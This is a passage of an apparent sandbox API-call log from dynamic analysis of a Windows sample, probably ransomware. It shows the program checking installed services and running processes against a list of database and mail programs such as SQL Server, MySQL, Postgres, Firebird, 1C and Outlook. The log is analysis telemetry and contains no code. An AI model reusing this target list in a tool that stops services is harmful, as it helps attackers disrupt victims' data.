lpString2="nsi") returned 1 [0191.301] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0191.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0191.301] lstrlenW (lpString="PcaSvc") returned 6 [0191.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0191.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0191.301] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0191.301] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0191.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0191.301] lstrlenW (lpString="PlugPlay") returned 8 [0191.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0191.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0191.301] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0191.301] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0191.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0191.301] lstrlenW (lpString="Power") returned 5 [0191.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0191.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0191.301] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0191.301] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0191.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0191.301] lstrlenW (lpString="ProfSvc") returned 7 [0191.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0191.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0191.302] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0191.302] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0191.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0191.302] lstrlenW (lpString="RpcEptMapper") returned 12 [0191.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0191.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0191.302] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0191.302] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0191.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0191.302] lstrlenW (lpString="RpcSs") returned 5 [0191.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0191.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0191.302] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0191.302] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0191.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0191.302] lstrlenW (lpString="SamSs") returned 5 [0191.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0191.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0191.302] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0191.302] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0191.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0191.302] lstrlenW (lpString="Schedule") returned 8 [0191.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0191.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0191.302] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0191.302] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0191.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0191.302] lstrlenW (lpString="SecurityHealthService") returned 21 [0191.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0191.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0191.302] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0191.302] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0191.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0191.303] lstrlenW (lpString="SENS") returned 4 [0191.303] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0191.303] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0191.303] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0191.303] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0191.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0191.303] lstrlenW (lpString="ShellHWDetection") returned 16 [0191.303] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0191.303] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0191.303] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0191.303] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0191.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0191.303] lstrlenW (lpString="Spooler") returned 7 [0191.303] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0191.303] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0191.303] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0191.303] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0191.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0191.303] lstrlenW (lpString="SSDPSRV") returned 7 [0191.303] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0191.303] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0191.303] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0191.303] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0191.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0191.303] lstrlenW (lpString="StateRepository") returned 15 [0191.303] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0191.303] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0191.303] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0191.303] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0191.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0191.303] lstrlenW (lpString="SysMain") returned 7 [0191.304] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0191.304] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0191.304] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0191.304] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0191.304] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0191.304] lstrlenW (lpString="SystemEventsBroker") returned 18 [0191.304] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0191.304] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0191.304] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0191.304] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0191.304] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0191.304] lstrlenW (lpString="Themes") returned 6 [0191.304] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0191.304] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0191.304] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0191.304] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0191.304] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0191.304] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0191.304] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0191.304] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0191.304] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0191.304] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0191.304] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0191.304] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0191.304] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0191.304] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0191.304] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0191.304] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0191.304] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TimeBrokerSvc") returned -1 [0191.304] lstrlenW (lpString="TokenBroker") returned 11 [0191.304] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TokenBroker") returned -1 [0191.304] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TokenBroker") returned -1 [0191.305] lstrcmpiW (lpString1="sqlwriter", lpString2="TokenBroker") returned -1 [0191.305] lstrcmpiW (lpString1="mssqlserver", lpString2="TokenBroker") returned -1 [0191.305] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TokenBroker") returned -1 [0191.305] lstrlenW (lpString="TrkWks") returned 6 [0191.305] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0191.305] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0191.305] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0191.305] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0191.305] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0191.305] lstrlenW (lpString="TrustedInstaller") returned 16 [0191.305] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrustedInstaller") returned -1 [0191.305] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrustedInstaller") returned -1 [0191.305] lstrcmpiW (lpString1="sqlwriter", lpString2="TrustedInstaller") returned -1 [0191.305] lstrcmpiW (lpString1="mssqlserver", lpString2="TrustedInstaller") returned -1 [0191.305] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrustedInstaller") returned -1 [0191.305] lstrlenW (lpString="UserManager") returned 11 [0191.305] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UserManager") returned -1 [0191.305] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UserManager") returned -1 [0191.305] lstrcmpiW (lpString1="sqlwriter", lpString2="UserManager") returned -1 [0191.305] lstrcmpiW (lpString1="mssqlserver", lpString2="UserManager") returned -1 [0191.305] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UserManager") returned -1 [0191.305] lstrlenW (lpString="UsoSvc") returned 6 [0191.305] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UsoSvc") returned -1 [0191.305] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UsoSvc") returned -1 [0191.305] lstrcmpiW (lpString1="sqlwriter", lpString2="UsoSvc") returned -1 [0191.305] lstrcmpiW (lpString1="mssqlserver", lpString2="UsoSvc") returned -1 [0191.305] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UsoSvc") returned -1 [0191.305] lstrlenW (lpString="VaultSvc") returned 8 [0191.305] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VaultSvc") returned -1 [0191.305] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VaultSvc") returned -1 [0191.305] lstrcmpiW (lpString1="sqlwriter", lpString2="VaultSvc") returned -1 [0191.305] lstrcmpiW (lpString1="mssqlserver", lpString2="VaultSvc") returned -1 [0191.306] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VaultSvc") returned -1 [0191.306] lstrlenW (lpString="Wcmsvc") returned 6 [0191.306] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Wcmsvc") returned -1 [0191.306] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Wcmsvc") returned -1 [0191.306] lstrcmpiW (lpString1="sqlwriter", lpString2="Wcmsvc") returned -1 [0191.306] lstrcmpiW (lpString1="mssqlserver", lpString2="Wcmsvc") returned -1 [0191.306] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Wcmsvc") returned -1 [0191.306] lstrlenW (lpString="WdiServiceHost") returned 14 [0191.306] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0191.306] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0191.306] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0191.306] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0191.306] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0191.306] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0191.306] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0191.306] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0191.306] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0191.306] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0191.306] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0191.306] lstrlenW (lpString="Winmgmt") returned 7 [0191.307] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0191.307] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0191.307] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0191.307] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0191.307] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0191.307] lstrlenW (lpString="wlidsvc") returned 7 [0191.307] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wlidsvc") returned -1 [0191.307] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wlidsvc") returned -1 [0191.307] lstrcmpiW (lpString1="sqlwriter", lpString2="wlidsvc") returned -1 [0191.307] lstrcmpiW (lpString1="mssqlserver", lpString2="wlidsvc") returned -1 [0191.307] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wlidsvc") returned -1 [0191.307] lstrlenW (lpString="WpnService") returned 10 [0191.307] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WpnService") returned -1 [0191.307] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WpnService") returned -1 [0191.307] lstrcmpiW (lpString1="sqlwriter", lpString2="WpnService") returned -1 [0191.307] lstrcmpiW (lpString1="mssqlserver", lpString2="WpnService") returned -1 [0191.307] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WpnService") returned -1 [0191.307] lstrlenW (lpString="wscsvc") returned 6 [0191.307] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0191.307] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0191.307] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0191.307] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0191.307] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0191.307] lstrlenW (lpString="wuauserv") returned 8 [0191.307] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0191.307] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0191.307] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0191.307] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0191.307] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0191.307] lstrlenW (lpString="CDPUserSvc_13047") returned 16 [0191.307] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPUserSvc_13047") returned 1 [0191.307] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPUserSvc_13047") returned 1 [0191.307] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPUserSvc_13047") returned 1 [0191.308] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPUserSvc_13047") returned 1 [0191.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPUserSvc_13047") returned 1 [0191.308] lstrlenW (lpString="OneSyncSvc_13047") returned 16 [0191.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="OneSyncSvc_13047") returned -1 [0191.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="OneSyncSvc_13047") returned -1 [0191.308] lstrcmpiW (lpString1="sqlwriter", lpString2="OneSyncSvc_13047") returned 1 [0191.308] lstrcmpiW (lpString1="mssqlserver", lpString2="OneSyncSvc_13047") returned -1 [0191.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="OneSyncSvc_13047") returned 1 [0191.308] lstrlenW (lpString="WpnUserService_13047") returned 20 [0191.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WpnUserService_13047") returned -1 [0191.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WpnUserService_13047") returned -1 [0191.308] lstrcmpiW (lpString1="sqlwriter", lpString2="WpnUserService_13047") returned -1 [0191.308] lstrcmpiW (lpString1="mssqlserver", lpString2="WpnUserService_13047") returned -1 [0191.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WpnUserService_13047") returned -1 [0191.308] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7dee10 | out: hHeap=0x790000) returned 1 [0191.308] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x290 [0191.314] Process32FirstW (in: hSnapshot=0x290, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0191.315] Process32NextW (in: hSnapshot=0x290, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0191.316] lstrlenW (lpString="System") returned 6 [0191.316] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0191.316] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0191.316] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0191.316] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0191.316] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0191.316] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0191.316] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0191.316] Process32NextW (in: hSnapshot=0x290, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0191.317] lstrlenW (lpString="smss.exe") returned 8 [0191.317] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0191.317] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0191.317] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0191.317] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0191.317] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0191.317] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0191.317] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0191.317] Process32NextW (in: hSnapshot=0x290, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0191.318] lstrlenW (lpString="csrss.exe") returned 9 [0191.318] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0191.318] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0191.318] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0191.318] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0191.318] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0191.318] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0191.318] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0191.318] Process32NextW (in: hSnapshot=0x290, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0191.319] lstrlenW (lpString="wininit.exe") returned 11 [0191.319] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0191.319] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0191.319] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0191.319] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0191.319] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0191.319] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0191.319] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0191.319] Process32NextW (in: hSnapshot=0x290, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0191.320] lstrlenW (lpString="csrss.exe") returned 9 [0191.320] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0191.320] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0191.320] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0191.320] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0191.320] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0191.320] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0191.320] Process32NextW (in: hSnapshot=0x290, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0191.321] lstrlenW (lpString="winlogon.exe") returned 12 [0191.321] Process32NextW (in: hSnapshot=0x290, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0191.322] lstrlenW (lpString="services.exe") returned 12 [0191.322] Process32NextW (in: hSnapshot=0x290, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0191.323] lstrlenW (lpString="lsass.exe") returned 9 [0191.323] Process32NextW (in: hSnapshot=0x290, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.324] lstrlenW (lpString="svchost.exe") returned 11 [0191.324] Process32NextW (in: hSnapshot=0x290, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0191.324] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0191.324] Process32NextW (in: hSnapshot=0x290, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0191.325] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0191.325] Process32NextW (in: hSnapshot=0x290, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.326] lstrlenW (lpString="svchost.exe") returned 11 [0191.326] Process32NextW (in: hSnapshot=0x290, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0191.327] lstrlenW (lpString="dwm.exe") returned 7 [0191.327] Process32NextW (in: hSnapshot=0x290, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5c, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.328] lstrlenW (lpString="svchost.exe") returned 11 [0191.328] Process32NextW (in: hSnapshot=0x290, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.328] lstrlenW (lpString="svchost.exe") returned 11 [0191.328] Process32NextW (in: hSnapshot=0x290, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, 